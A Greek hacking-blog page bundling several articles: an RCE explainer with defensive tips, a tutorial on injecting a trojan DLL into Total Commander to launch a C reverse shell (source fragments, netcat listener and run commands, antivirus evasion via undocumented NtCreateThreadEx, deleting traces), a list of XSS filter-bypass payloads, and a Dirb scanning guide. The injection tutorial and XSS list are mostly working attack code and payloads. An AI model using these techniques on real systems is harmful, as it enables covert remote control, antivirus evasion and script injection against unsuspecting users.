Οι Σκοτεινοί Μάγοι του Διαδικτύου: Επίθεση RCE και Οι Μέθοδοι της | – #1 Το Hacking σε... απλά ελληνικά –Οι Σκοτεινοί Μάγοι του Διαδικτύου: Επίθεση RCE και Οι Μέθοδοι της | – #1 Το Hacking σε... απλά ελληνικά –Οι Σκοτεινοί Μάγοι του Διαδικτύου: Επίθεση RCE και Οι Μέθοδοι της | – #1 Το Hacking σε... απλά ελληνικά –Οι Σκοτεινοί Μάγοι του Διαδικτύου: Επίθεση RCE και Οι Μέθοδοι της | – #1 Το Hacking σε... απλά ελληνικά –Οι Σκοτεινοί Μάγοι του Διαδικτύου: Επίθεση RCE και Οι Μέθοδοι της | – #1 Το Hacking σε... απλά ελληνικά –Οι Σκοτεινοί Μάγοι του Διαδικτύου: Επίθεση RCE και Οι Μέθοδοι της | – #1 Το Hacking σε... απλά ελληνικά –Οι Σκοτεινοί Μάγοι του Διαδικτύου: Επίθεση RCE και Οι Μέθοδοι της | – #1 Το Hacking σε... απλά ελληνικά –Οι Σκοτεινοί Μάγοι του Διαδικτύου: Επίθεση RCE και Οι Μέθοδοι της | – #1 Το Hacking σε... απλά ελληνικά –
Στον συναρπαστικό κόσμο της ψηφιακής εποχής μας, η ασφάλεια των υπολογιστικών συστημάτων αποτελεί καίρια πρόκληση. Μια από τις πιο σοβαρές απειλές που κυνηγούν την ασφάλεια των δικτύων και των συσκευών είναι η επίθεση RCE (Remote Code Execution). Σε αυτό το άρθρο, θα ρίξουμε μια ματιά στη φύση της επίθεσης RCE και τους διάφορους τρόπους με τους οποίους μπορεί να χρησιμοποιηθεί.
Τι Είναι η Επίθεση RCE;
Η επίθεση RCE (Remote Code Execution) αναφέρεται στην ευκαιρία του επιτιθέμενου να εκτελέσει κώδικα σε απομακρυσμένο υπολογιστή ή συσκευή, χωρίς την έγκριση ή την αντίληψη του νόμιμου χρήστη. Αυτό σημαίνει ότι ο επιτιθέμενος αποκτά απόλυτο έλεγχο στον στόχο του, ανοίγοντας την πόρτα για πολλούς επικίνδυνους σκοπούς.
Πού Χρησιμοποιείται η Επίθεση RCE;
Οι επιθέσεις RCE μπορούν να εμφανιστούν σε πολλούς τομείς, επηρεάζοντας τόσο τον ατομικό όσο και τον επιχειρηματικό ψηφιακό χώρο:
Κρατικά και Κυβερνητικά Συστήματα: Κυβερνήσεις και κράτη μπορούν να χρησιμοποιήσουν την RCE για να εισέλθουν σε απομακρυσμένους υπολογιστές ή συστήματα για σκοπούς κατασκοπίας, παρακολούθησης ή κυβερνητικού χειρισμού.
Κλοπή Δεδομένων: Κακόβουλοι εισβολείς μπορούν να αξιοποιήσουν την RCE για να προσπελάσουν ευαίσθητα δεδομένα, όπως προσωπικές πληροφορίες, επιχειρηματικά μυστικά και πιστωτικές πληροφορίες.
Διασπορά Κακόβουλου Λογισμικού: Οι επιθέσεις RCE μπορούν να χρησιμοποιηθούν για τη διάδοση κακόβουλου λογισμικού, όπως ιοί και malware, σε μεγάλη κλίμακα.
Απορρόφηση Υπολογιστικών Πόρων: Οι εισβολείς μπορούν να χρησιμοποιήσουν RCE για να εξαντλήσουν τους πόρους ενός συστήματος, καθιστώντας το ανίκανο να λειτουργήσει ή να ανταποκριθεί.
Επιθέσεις DDoS: Οι επιθέσεις RCE μπορούν να χρησιμοποιηθούν ως μέρος της προετοιμασίας και της διεξαγωγής επιθέσεων DDoS (Distributed Denial of Service). Σε αυτές τις επιθέσεις, οι επιτιθέμενοι χρησιμοποιούν RCE για να ανακτήσουν τον έλεγχο των συσκευών ή των υπολογιστών που στη συνέχεια χρησιμοποιούν για να προβούν σε συντονισμένες επιθέσεις DDoS, κατακλύζοντας στόχους με αιτήσεις και απενεργοποιώντας τους.
Πώς Προστατεύουμε τον Εαυτό μας από την Επίθεση RCE;
Η προστασία από τις επιθέσεις RCE απαιτεί συνεχή προσοχή και προληπτικά μέτρα. Εδώ είναι μερικές βασικές συμβουλές για να προστατευτείτε:
Ενημερώστε το Λογισμικό σας: Ενημερώστε συστηματικά το λογισμικό σας, συμπεριλαμβανομένου του λειτουργικού συστήματος, των εφαρμογών και του αντικακοπτή. Οι ενημερώσεις συνήθως περιλαμβάνουν διορθώσεις ευπαθειών που μπορούν να εκμεταλλευτούν οι επιτιθέμενοι.
Προστασία Κωδικών και Προνομίων: Χρησιμοποιήστε δυνατούς κωδικούς πρόσβασης και περιορίστε τις προνομίες που δίνετε στους λογαριασμούς σας. Εφαρμόστε αρχές αρχής λιγότερων προνομίων (Least Privilege) για να περιορίσετε τον έλεγχο που έχουν οι χρήστες.
Χρήση Φιλτράρισματος και Ανίχνευσης: Εγκαταστήστε λύσεις φιλτραρίσματος και ανίχνευσης εισβολών για να εντοπίζετε και να προλαμβάνετε ανομαλίες στην κίνηση του δικτύου και των συστημάτων.
Εκπαίδευση του Προσωπικού: Εκπαιδεύστε το προσωπικό σας σχετικά με τις απειλές και τις βασικές ασφαλείς πρακτικές, ώστε να αναγνωρίζουν και να αντιδρούν σε πιθανές επιθέσεις.
Εφαρμογή Κρυπτογραφίας: Χρησιμοποιήστε ισχυρές κρυπτογραφικές μεθόδους για την προστασία των επικοινωνιών σας και των δεδομένων σας.
Στενός Έλεγχος των Εισόδων: Εφαρμόστε αυστηρό έλεγχο των εισόδων στο δίκτυο και τους διακομιστές σας, ώστε να αποτρέψετε τις ανεπιθύμητες προσπάθειες εισβολής.
Η προστασία από τις επιθέσεις RCE απαιτεί συνεχή παρακολούθηση, εκπαίδευση και εφαρμογή των προληπτικών μέτρων. Επίσης, αξίζει να λαμβάνετε υπόψη ότι η ασφάλεια είναι ένας διαρκώς εξελισσόμενος τομέας, και οι επιθέσεις RCE μπορεί να γίνουν πιο εξειδικευμένες και εκσυγχρονισμένες με την πάροδο του χρόνου.
Τέλος, η συνεργασία με αξιόπιστους ειδικούς ασφαλείας πληροφοριών (SOC) και η διατήρηση ενός ενεργού σχεδίου αντίδρασης σε περίπτωση επίθεσης είναι ζωτικής σημασίας για την αντιμετώπιση των απειλών της επίθεσης RCE. Με συνεχή επιτήρηση και ενημέρωση, μπορείτε να είστε προετοιμασμένοι και να προστατεύσετε αποτελεσματικά τον ψηφιακό σας χώρο από αυτήν την αόρατη, αλλά θανάσιμη απειλή.
Ο Αλέξανδρος είναι ο ιδρυτής του hacks.gr και η κινητήρια δύναμη πίσω από το όραμά μας. Με πολυετή εμπειρία στον κόσμο του hacking, έχει διαμορφώσει μια κοινότητα που είναι πηγή έμπνευσης και μάθησης για όλους. Με τον προσωπικό του χαρακτήρα και την τεχνογνωσία του, έχει δημιουργήσει έναν χώρο όπου οι λάτρεις του hacking μπορούν να συναντιούνται, να μοιράζονται γνώσεις και να εξελίσσονται.
Reverse shell μέσω DLL Injection με χρήση undocumented WinAPI function
Στο άρθρο αυτό θα δείξουμε μια σχετικά παλιά αλλά πολύ διαδεδομένη μέθοδο που χρησιμοποιούν οι επιτιθέμενοι για να εγκαταστήσουν ένα backdoor στον υπολογιστή του θύματος. Το συγκεκριμένο άρθρο μπορεί να το δείτε και κάπου αλλού (στα Αγγλικά) μιας και το έχω γράψει σε ξενόγλωσσα forums. Δεν είναι καινούριο και γενικά χρησιμοποιεί λίγο παλαιότερη τεχνολογία (όχι πολύ παλαιότερη btw… 😉 ) αλλά αυτό δεν πρέπει να μας ενοχλεί καθόλου για 2 λόγους:
Δεν μπορεί να χρησιμοποιηθεί (χωρίς κάποιες τροποποιήσεις) άμεσα για επιθέσεις.
Περνάει το μήνυμα της μεθοδολογίας που χρησιμοποιείται από τους επιτιθέμενους – που αυτό είναι και ένας από τους βασικούς στόχους του άρθρου.
Τι θα διαβάσετε σε αυτό το άρθρο
1) Πώς εκτελείται μια επίθεση DLL σε ένα υπολογιστή με Windows 7 Ultimate, με 2 τρόπους:
α) χρησιμοποιώντας μια documented Windows API function και
β) χρησιμοποιώντας μια μη τεκμηριωμένη (undocumented) API function των Windows. Αυτή η μέθοδος θα παρακάμψει επίσης το πρόγραμμα προστασίας από ιούς των Windows Essentials.
2) Όταν εκτελείται το injection, ένα private (μη ανιχνεύσιμο – τουλάχιστον την στιγμή που το έγραψα… 😉 ) reverse shell, (συμπεριλαμβάνεται ο πηγαίος κώδικας).
3) Επιπλέον, παρουσιάζεται μια (…πρωτότυπη ή καλύτερα λίγο αντισυμβατική) μέθοδος δημιουργίας ενός εκτελέσιμου αρχείου PE από ένα DLL κατά το χρόνο εκτέλεσης.
Πρέπει να είμαι guru για να το καταλάβω;
Αυτό το άρθρο αναφέρεται σε άτομα που γνωρίζουν ήδη πώς να προγραμματίζουν σε c ή c++ και έχουν βασικές γνώσεις για κλήσεις API των Windows. Επιπλέον, απαιτείται κάποια γνώση των τεχνικών εκμετάλλευσης ως εξής:
Τι είναι ένα reverse shell και πώς χρησιμοποιείται.
Το DLL Injection είναι μια δημοφιλής τεχνική που χρησιμοποιείται από τους εισβολείς για να εισάγουν κώδικα σε ένα εκτελέσιμο αρχείο προκειμένου να εκτελέσουν μια ελεγχόμενη εκτέλεση.
Θα παρουσιάσω δύο μεθόδους επιτυχημένης επίθεσης σε Windows 7 Ultimate OS που επιστρέφει ένα reverse shell στον εισβολέα. Η πρώτη μέθοδος χρησιμοποιεί την τεκμηριωμένη συνάρτηση API των Windows CreateRemoteThread και η δεύτερη μέθοδος χρησιμοποιεί την μη τεκμηριωμένη NtCreateThreadEx. Προτιμώ την τελευταία, γιατί η πρώτη “αγχώνει” λίγο το Windows Defender ενώ η δεύτερη όχι (τουλάχιστον όταν είχε δοκιμαστεί πριν μερικά χρόνια)!
Επιπλέον, ένα reverse shell (που αναπτύχθηκε σε c++) θα χρησιμοποιηθεί σε συνδυασμό με μια μέθοδο μεταφοράς ή… “συσκευασίας” ενός εκτελέσιμου αρχείου μέσα σε άλλο εκτελέσιμο αρχείο (ή DLL).
Η τελική επίθεση θα γίνει χρησιμοποιώντας δύο προσεγγίσεις:
Την παραδοσιακή (χειροκίνητη) προσέγγιση που χρησιμοποιώ μόνο το Netcat και
την… «επίσημη» προσέγγιση όπου χρησιμοποιώ το γνωστό Armitage του Metasploit arsenal. Φωτογραφίες της επίθεσης θα είναι διαθέσιμες σε εσάς καθώς και σύντομα βίντεο.
Πριν ξεκινήσουμε, θα ήθελα να διευκρινίσω ότι αυτό το άρθρο δεν είναι ένα σεμινάριο “Πώς να εισβάλετε”, ούτε μια μέθοδος εγκατάστασης ενός Trojan στο PC ενός θύματος. Είναι ακριβώς αυτό που δηλώνει ο τίτλος του: Μια μέθοδος κλήσης ενός Reverse Shell μέσω DLL Injection χρησιμοποιώντας μη τεκμηριωμένη συνάρτηση του API στα Windows 7.
Τα πρώτα βήματα
Για να εκτελέσουμε μια τέτοια επίθεση πρέπει πρώτα να αποφασίσουμε σε ποιο εκτελέσιμο πρόγραμμα θέλουμε να εισάγουμε τον κακόβουλο κώδικα μας. Στο παράδειγμά μου θα χρησιμοποιήσω σαν θύμα το πρόγραμμα Total Commander (http://www.ghisler.com), τον αγαπημένο Windows Manager των προγραμματιστών (και όχι μόνο!). Η εισαγωγή κακόβουλου κώδικα στο Total Commander, σημαίνει (εν ολίγης) ότι όταν ο χρήστης ξεκινήσει αυτό το πρόγραμμα στο τοπικό του υπολογιστή, θα λάβω αμέσως ένα reverse shell στο box μου (δηλ. στο… PC μου) με τα ίδια δικαιώματα που έχει το Total Commander όταν εκτελείτε. Για να είμαι πιο συγκεκριμένος, η μέθοδος ακολουθεί τρία βήματα που θα αναλύσω παρακάτω.
Η Μέθοδος
Βήμα 1. Έλεγξε εάν εκτελείται το «Total Commander».
Βήμα 2. Εάν εκτελείται, εκτέλεσε το injection και εκτέλεσε ένα reverse shell σε μια συγκεκριμένη διεύθυνση IP, μετά συνέχισε την εκτέλεση του Total Commander.
Βήμα 3. Εάν το “Total Commander” δεν εκτελείται, τότε πήγαινε στο 1.
Η προσέγγισή μου θα χρησιμοποιήσει τρία προγράμματα:
1. totalcmd.exe (Total Commander): είναι το πρόγραμμα που θα πυροδοτήσει όλη την επίθεση.
2. myDLL.DLL: Είναι η DLL που θα χρησιμοποιηθεί ως δούρειος ίππος. Θα “μεταφέρει” τον εκτελέσιμο κώδικα του reverse shell. Μία από τις κύριες αρμοδιότητές του είναι όταν κληθεί το eventDLL_PROCESS_ATTACH, θα “αποσυσκευάσει” το reverse shell στο δίσκο και θα το εκτελέσει.
3. dllattack08.exe: Είναι το βασικό κακόβουλο πρόγραμμα που όταν εκτελεστεί στον υπολογιστή του θύματος, θα παραμείνει στη μνήμη εκτελόντας τα παραπάνω 3 βήματα της μεθόδου.
1. Δημιουργία του Reverse Shell.
Θα παρουσιάσω εδώ τον πηγαίο κώδικα του (private – εκείνη την εποχή που το έφτιαξα) Reverse Shell.
// reverse shell in win32 // by thiseas 2010 // Compile with VS 2008 from command line with cl: // cl PROGRAMrs.c -> PROGRAMrs.exe //////////////////////////////////////////////// #include <winsock2.h> #include <stdio.h>
#pragma comment(lib, “Ws2_32.lib”) //Inform the linker that the Ws2_32.lib file is needed.
// Starting shell by creating a new process with redirected i/o. memset(&theProcess,0,sizeof(theProcess)); theProcess.cb=sizeof(theProcess); theProcess.dwFlags=STARTF_USESTDHANDLES; // here we make the redirection theProcess.hStdInput = theProcess.hStdOutput = theProcess.hStdError = (HANDLE)Winsocket; // fork the new process. if(CreateProcess(NULL,”cmd.exe”,NULL,NULL,TRUE,0,NULL,NULL,&theProcess,&info_proc)==0) { WSACleanup(); return 1; }
return 0; }
Το παραπάνω πρόγραμμα μπορεί να χρησιμοποιηθεί ως αντικατάσταση του Netcat ή σε συνδυασμό με αυτό.
Χρήση
Για να τρέξουμε με επιτυχία το shell πρέπει να εκτελέσουμε τις ακόλουθες δύο εντολές:
Εντολή 1: Στο PC του επιτιθέμενου, εκτελέστε το Netcat για να βάλετε σε Listening mode μια σύνδεση:
στο Fedora : nc -l 1234
στο ubuntu: nc -v -l -p 1234
σε Windows : nc -v -l -p 1234
Εντολή 2: Στο PC του θύματος, εκτελέστε το reverse shell: c:> PROGRAMrs.exe <attackerIP> 1234
2.Πώς θα φυλάξουμε τον εκτελέσιμο κώδικα του shell μέσα σε ένα άλλο πρόγραμμα
Θα «αποθηκεύσω» τον εκτελέσιμο κώδικα μέσα στο DLL (που θα χρησιμοποιήσω αργότερα) για να εκτελεστεί όταν χρειαστεί (θα εξηγήσω αργότερα πώς). Έτσι, πρέπει να πάρω τον HexCode του εκτελέσιμου ReverseShell μου και να τον βάλω μέσα σε άλλο πρόγραμμα. Υπάρχουν διάφορες μέθοδοι για να γίνει αυτό. Ο στόχος είναι να αποθηκεύσετε ολόκληρο το ReverseShell εκτελέσιμο μέσα σε έναν byte Array και στη συνέχεια να γράψετε αυτόν Byte Array στο δίσκο με ένα νέο όνομα. Το νέο αρχείο που θα δημιουργηθεί θα είναι ένα κανονικό εκτελέσιμο PE (http://en.wikipedia.org/wiki/Portable_Executable)!
Ανοίγω το εκτελέσιμο “PROGRAMrs.exe” του αντίστροφου κελύφους χρησιμοποιώντας τον αγαπημένο μου επεξεργαστή ultraEdit (το οποίο είναι επίσης hex editor). Επιλέξτε όλα, κάντε δεξί κλικ και επιλέξτε Hex Copy Selected View (εικόνα 1).
Επικολλώ τα επιλεγμένα code-bytes σε ένα νέο αρχείο. Επιλέγω τις συγκεκριμένες στήλες στον editor (Alt+C) και επιλέγω όλο τον byte-code. Στη συνέχεια, κάνω δεξί κλικ και αντγραφή Ctrl+C (εικόνα 2).
Έβαλα τα επιλεγμένα byte σε ένα νέο αρχείο και έβαλα ένα “\x” μεταξύ κάθε δεκαεξαδικού, όπως δείχνει το ακόλουθο παράδειγμα:
Από:
Για να το κάνω γρήγορα μπορώ στον editor να αντικαταστήσω όλα τα κενά με ‘\x’ και τελικά να καταλήξω στο παρακάτω:
Εντάξει, αυτό ήταν. Αποθηκεύω αυτό το αρχείο στο δίσκο με το όνομα MyTempByteCode.txt.
3.Δημιουργώ την DLL
Ήρθε η ώρα σε αυτό το 3ο βήμα, να δημιουργήσω την DLL. Είναι η DLL που θα χρησιμοποιηθεί ως δούρειος ίππος. Θα φέρει μέση της το ReverseShell μέσα. Μία από τις κύριες αρμοδιότητές της είναι όταν κληθεί και εκτελεστεί το event DLL_PROCESS_ATTACH, θα αποσυσκευάσει το ReverseShell στο δίσκο και θα το εκτελέσει.
Την δημιούργησα χρησιμοποιώντας C++ στο Microsoft Visual Studio 2008 και ο κώδικας της είναι ο παρακάτω:
Ο πηγαίος κώδικας είναι (πιστεύω) αυτονόητος: Όταν ενεργοποιηθεί το event DLL_PROCESS_ATTACH, θα γράψω τα shell-bytes σε ένα αρχείο και θα το εκτελέσω (για να ξεκινήσει το RevsreShell) και αμέσως μετά θα τον διαγράψω από το δίσκο για να κρύψω τα ίχνη μου. Φυσικά, αυτό θα έχει μείνει στην μνήμη και θα επιτελεί την κακόβουλη εργασία του, δηλαδή θα έχει δώσει μη εξουσιοδοτημένη πρόσβαση στον επιτιθέμενο.
4.Εκτελώντας το Injection
Τώρα χρειάζομαι ένα πρόγραμμα για να ενεργοποιήσει, να καλέσει δηλαδή το παραπάνω DLL. Αυτό είναι βασικό πρόγραμμα που θα ενεργοποιήσει την επίθεση και είναι το: dllattack08.exe: Είναι αυτό που θα εκτελέσει το injection στο “Total Commander” χρησιμοποιώντας μια τεκμηριωμένη συνάρτηση WinAPI και μια μη τεκμηριωμένη WinAPI (the stealth case) – όπως είπαμε και στην αρχή του άρθρου.
typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN LPVOID ObjectAttributes, IN HANDLE ProcessHandle, IN LPTHREAD_START_ROUTINE lpStartAddress, IN LPVOID lpParameter, IN BOOL CreateSuspended, IN ULONG StackZeroBits, IN ULONG SizeOfStackCommit, IN ULONG SizeOfStackReserve, OUT LPVOID lpBytesBuffer );
if (!ProcessIdToSessionId( GetCurrentProcessId(), &CurrentSessionID )) { printf(“\nFailed to get the current session with error %d”, GetLastError()); } if (!ProcessIdToSessionId( RemoteProcessID, &RemoteSessionID )) { printf(“\nFailed to get the remote session with error %d”, GetLastError()); }
if (DllInject_2(hProcess, “\\DLLInjection\\myDLL.dll”)) printf(“\nSUCCESSFUL!\n”); else printf(“\nFailed!\n”);
return 0; }
Πιστεύω ότι κάποια θέματα στον παραπάνω κώδικα χρειάζονται κάποια διευκρίνιση. Η κλήση της συνάρτησης που εκτελεί το DLL injection χρησιμοποιώντας το τεκμηριωμένο API CreateRemoteThread είναι η: DllInject(hProcess, “\\DLLInjection\\myDLL.dll”)
Η συνάρτηση παίρνει 2 ορίσματα: Τον handler της διεργασίας του προγράμματος που πρόκειται να Inject και το όνομα του αρχείου DLL που θα επισυναφθεί στο injected εκτελέσιμο αρχείο. Όπως μπορείτε να δείτε αυτό είναι αρκετά “ανοιχτό” για να δεχτείτε οτιδήποτε σας αρέσει… 😎
Ένα άλλο ενδιαφέρον θέμα είναι η χρήση της συνάρτησης SeDebugPrivilege ως προσπάθεια απόκτησης όσο το δυνατόν περισσότερων προνομίων. Η Microsoft ανέφερε κάποτε το εξής:
“By setting the SeDebugPrivilege privilege on the running process, you can obtain the process handle of any running application. When obtaining the handle to a process, you can then specify the PROCESS_ALL_ACCESS flag, which will allow the calling of various Win32 APIs upon that process handle, which you normally could not do».
Αυτό είναι πράγματι ενδιαφέρον. Σύμφωνα με τις δοκιμές μου, τα παραπάνω δεν ισχύουν 100% για τα windows 7, αλλά άξιζε μια δοκιμή… πάντως.
Ένα σημαντικό μειονέκτημα αυτής της μεθόδου είναι ότι ενεργοποιεί το Microsoft Security Essentials Antivirus. Ανακάλυψα ότι η αιτία του συναγερμού είναι η χρήση του API CreateRemoteThread μέσα στη συνάρτηση DllInject. Αντικαθιστώ, λοιπόν, αυτή τη λειτουργία με μια νέα αλλά… undocumented! Το να εξηγήσουμε πώς βρίσκουμε και αναλύουμε μη τεκμηριωμένες λειτουργίες API των Windows είναι μια άλλη ιστορία (πράγματι προκλητική) που θα προσπαθήσω να εξηγήσω σε άλλο άρθρο. Η μη τεκμηριωμένη κλήση API υλοποιείται στη συνάρτηση DllInject_2. Η μόνη αλλαγή στον κώδικα για να καλέσετε αυτό το API είναι να αντικαταστήσετε την 7η γραμμή από το κάτω μέρος του παραπάνω πηγαίου κώδικα:
Από if (DllInject(hProcess, “\\DLLInjection\\myDLL.dll”))
Προς την if (DllInject_2(hProcess, “\\DLLInjection\\myDLL.dll”))
Και αυτό είναι. Γίνεσαι stealth!
Χειροκίνητη Επίθεση
Παρακάτω είναι ένα παράδειγμα επίθεσης με τον χειροκίνητο (παραδοσιακό) τρόπο:
Επίθεση με την χρήση του Metasploit Armitage
Το Metasploit [http://www.metasploit.com/] είναι ένα επαγγελματικό εργαλείο για Penetration Testers και όχι μόνο. Το Armitage είναι ένα front-end (μπορώ να πω) για το metasploit. Αυτό το εργαλείο μπορεί να χρησιμοποιηθεί για την εκτέλεση μας τέτοιας ίδιας επίθεσης. Μπορεί να χρησιμοποιηθεί ως client για να ακούσετε στη θύρα 6666 για να λάβετε το RevsrseShell μου. Ρίξτε μια ματιά εδώ:
και αμέσως μετά… Αυτό:
Ένα από τα ενδιαφέροντα πράγματα εδώ είναι ότι μπορεί να χρησιμοποιηθεί οποιοδήποτε Reverse Shell. Μπορείτε (για παράδειγμα) να δημιουργήσετε ένα κρυπτογραφημένο χρησιμοποιώντας το Metasploit, να λάβετε τον δυαδικό του κώδικα, να τον βάλετε στο DLL μου και να εκτελέσετε την επίθεση. Η μέθοδος και ο κώδικας είναι αρκετά ανοιχτοί για να υποστηρίξουν τέτοιες τεχνικές…
Και μερικά VIDEOs της επίθεσης
[1]. Περίπτωση I: Η εφαρμογή Total Commander ήδη είναι ανοιχτή στο PC του θύματος
[2]. Case II: Η εφαρμογή Total Commander ανοίγει μετά την εκτέλεση του malware (dllattack08.exe) στο PC του θύματος
Με πολύτιμη εμπειρία στον κόσμο της κυβερνοασφάλειας συμβάλλει ενεργά στην κοινότητά μας με αναλύσεις ευπαθειών και οδηγούς.
Με τη συνεισφορά του, προσφέρει στην κοινότητα μας ένα πλούσιο φάσμα γνώσεων και δεξιοτήτων που ενισχύουν την ανάπτυξη και την ασφάλεια του ψηφιακού μας κόσμου.
Ξεκινώντας θα πω ότι η κάθε σελίδα διαφέρει από την άλλη… που σημαίνει ότι
μπορεί να μην δουλέψει κάτι από αυτά που θα γράψω εδώ… αλλά αυτό δεν σημαίνει ότι
δεν είναι ευάλωτη σε xss
Επιπλέον μπορεί να καταφέρεται να κάνετε xss σε firefox και να δοκιμάσετε την ίδια
τεχνική σε chrome χωρίς να δουλέψει… αυτό γίνετε γιατί έχουν και οι browsers κάποιες
άμυνες για το xss
Ας ξεκινήσουμε από τα βασικά…
1) Συχνά κάποια σελίδα διαγράφει την λέξη <script> από τα πεδία που ελέγχει ο χρήστης… δηλαδή αν δώσουμε <script>alert("xss")</script> το <script> θα διαγραφτεί… Παρόλα αυτά μου έχει τύχει περίπτωση που περνάει αυτό: <sCriPt> Πιθανότατα δεν έκανε όλα τα γράμματα μικρά πριν ελέγξει τα δεδομένα που εισάγομε στην σελίδα… Επόμενος αν γράψουμε <scRIPt>alert("xss")</script> θα λειτουργήσει κανονικά!
2)
Ίδια με τα παραπάνω… μόνο που τώρα ελέγχει και τα κεφαλαία γράμματα
Επόμενος αν γράψουμε <script>alert("xss")</script> θα διαγραφτεί το <script>
και θα γράψει alert("xss")</script>
Αυτό μπορούμε να το εκμεταλλευτούμε… και να γράψουμε <scr<script>ipt>alert("xss")</script>
Όταν ο browser διαγράψει το <script> θα ενωθούν τα <scr και ipt> φτιάχνοντας
το <script>. Με αυτόν τον τρόπο θα ήταν σαν να βάζαμε: <script>alert("xss")</script>
3)null bite <sc%00ript> το %00 είναι ένα null byte το όποιο μπορεί να περάσει μερικά filters
αλλά στην ουσία δεν γράφει τίποτα με αποτέλεσμα το <script> να γράφετε κανονικά στην σελίδα
4)Encryption:
Μπορείτε να κωδικοποιήσετε τα script σε διάφορες μορφές ώστε να παρακάμψετε πολλά filters
Για παράδειγμα μπορεί κάποια σελίδα να μην σας αφήνει να γράψετε το < και το > ή τα “
Μπορείτε να τα κωδικοποιήσετε σε διάφορες μορφές… για παράδειγμα url encoding %3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E
το παραπάνω είναι το <script>alert("xss")</script> κωδικοποιημένο σε url…
τα < > κλπ αλλάξαν… Για παράδειγμα το < έγινε %3C
Πέρα από το url encoding μπορείτε να δοκιμάσετε και unicode encoding για παράδειγμα %u003C το όποιο μπορεί να γραφτεί και με διάφορους τρόπους: %u03C %u0003C
Επιπλέον είναι και τα html chars που πρέπει να γνωρίζεται και το base64… Υπάρχουν
και άλλα όπως base16 αλλά τα παραπάνω είναι τα σημαντικότερα… χωρίς αυτό να σημαίνει ότι
δεν πρέπει να δείτε και τα υπόλοιπά… τρύπες ψάχνουμε… πρέπει να ξέρουμε τις λεπτομέρειες
για να τις βρούμε… Μπορείτε να κάνετε και διπλό url encoding
5)
Υποθέτουμε ότι δεν μπορούμε να βάλουμε το <script> στον κώδικα της σελίδας με κανέναν από του
τρόπους που γνωρίζουμε… μπορούμε να κάνουμε κάτι άλλο… <img src="invalidimg.img" onerror="alert('xss')" /> θα προσπαθήσει να βάλει μια
εικόνα στην σελίδα… δεν θα την βρει θα πάει στο onerror και θα εκτελέσει το scriptaki μας…
6)Bypassing ” filtering.
Αν έχετε όλα τα παραπάνω αλλά δεν μπορείτε να βάλετε ” τότε σας προτείνω να
χρησιμοποιήσετε την συνάρτηση String.fromCharCode
Για παράδειγμα: <script>alert(String.fromCharCode(65,66,67))</script>
Είναι σαν να γράψαμε: <script>alert("ABC")</script>
Ο Αλέξανδρος είναι ο ιδρυτής του hacks.gr και η κινητήρια δύναμη πίσω από το όραμά μας.
Με πολυετή εμπειρία στον κόσμο του hacking, έχει διαμορφώσει μια κοινότητα που είναι πηγή έμπνευσης και μάθησης για όλους.
Με τον προσωπικό του χαρακτήρα και την τεχνογνωσία του, έχει δημιουργήσει έναν χώρο όπου οι λάτρεις του hacking μπορούν να συναντιούνται, να μοιράζονται γνώσεις και να εξελίσσονται.
Χρησιμοποιώντας το Dirb για εντοπισμό κρυφών φακέλων και αρχείων σε ιστότοπους
Το Dirb είναι ένα εργαλείο ανοικτού κώδικα για την εξερεύνηση καταλόγων σε ιστότοπους. Πρόκειται για ένα εργαλείο σάρωσης καταλόγων (directory scanner) που χρησιμοποιείται συνήθως για τεστ ασφαλείας σε ιστότοπους.
Οι κυριότερες λειτουργίες του Dirb περιλαμβάνουν την ανίχνευση κρυμμένων καταλόγων και την εντοπισμό ανοικτών αρχείων. Χρησιμοποιεί λίστες κοινών ονομάτων αρχείων και καταλόγων για να δοκιμάσει την ύπαρξή τους σε έναν συγκεκριμένο ιστότοπο.
Εγκατάσταση του Dirb:
Καταρχάς, θα πρέπει να εγκαταστήσετε το Dirb.
Ανάλογα με το λειτουργικό σας σύστημα, ο τρόπος εγκατάστασης μπορεί να διαφέρει. Για παράδειγμα, σε συστήματα Debian/Ubuntu, μπορείτε να χρησιμοποιήσετε την εντολή:
sudo apt-get install dirb
Kali Linux
Στο Kali Linux, το εργαλείο Dirb συνήθως είναι προεγκατεστημένο.
Μπορείτε να το εκτελέσετε απευθείας από το τερματικό χρησιμοποιώντας την εντολή dirb.
Χρήση του Dirb:
Αφού εγκατασταθεί, μπορείτε να το χρησιμοποιήσετε για την εξερεύνηση ενός ιστότοπου ως εξής:
dirb http://example.com
Αυτή η εντολή θα αρχίσει μια σάρωση καταλόγων στον ιστότοπο http://example.com. Το Dirb θα χρησιμοποιήσει μια λίστα συνηθισμένων ονομάτων αρχείων και καταλόγων για να ελέγξει αν υπάρχουν προσβάσιμες διαδρομές.
Μπορείτε να προσαρμόσετε την εντολή ανάλογα με τις ανάγκες σας, π.χ.:
dirb http://example.com -o output.txt -r
-o output.txt: Αποθηκεύει τα αποτελέσματα σε ένα αρχείο κειμένου.
-r: Επαναλαμβάνει τον έλεγχο για υπάρχοντα subdirectories.
Χρήση WordList
Αν θέλετε να χρησιμοποιήσετε μια δική σας λίστα, μπορείτε να την περάσετε στο Dirb με την επιλογή -w. Για παράδειγμα:
Αν δεν καθορίσετε μια συγκεκριμένη λίστα, το Dirb θα χρησιμοποιήσει την ενσωματωμένη λίστα που έχει προκαθορισμένα.
Σε γενικές γραμμές, οι λίστες για εξερεύνηση καταλόγων περιλαμβάνουν συνηθισμένα ονόματα αρχείων (όπως index.html, admin.php, κλπ.) και γνωστά ονόματα καταλόγων (όπως admin/, images/, κλπ.).
Αν θέλετε να χρησιμοποιήσετε πολλαπλές wordlists με το Dirb, μπορείτε να το κάνετε παρέχοντας τα ονόματα αρχείων των wordlists ως επιπλέον παραμέτρους. Οι λίστες θα πρέπει να έχουν ένα όνομα αρχείου αντίστοιχο με το Dirb και πρέπει να βρίσκονται στον ίδιο κατάλογο ή να παρέχεται ο πλήρης διαδρομή.
Παράδειγμα:
dirb http://example.com -w wordlist1.txt -w wordlist2.txt Σε αυτό το παράδειγμα, το Dirb θα χρησιμοποιήσει τις λίστες wordlist1.txt και wordlist2.txt για την εξερεύνηση του ιστότοπου.
Αναζήτηση Συγκεκριμένων αρχείων σε μια ιστοσελίδα
Μμπορείτε να χρησιμοποιήσετε την επιλογή -X.
Παράδειγμα:
dirb http://example.com -X .php,.html,.txt
Σε αυτό το παράδειγμα, το Dirb θα εξερευνήσει τον ιστότοπο για αρχεία με κατάληξη .php, .html και .txt.
Μπορείτε να προσθέσετε ή να αφαιρέσετε καταλήξεις ανάλογα με τις ανάγκες σας.
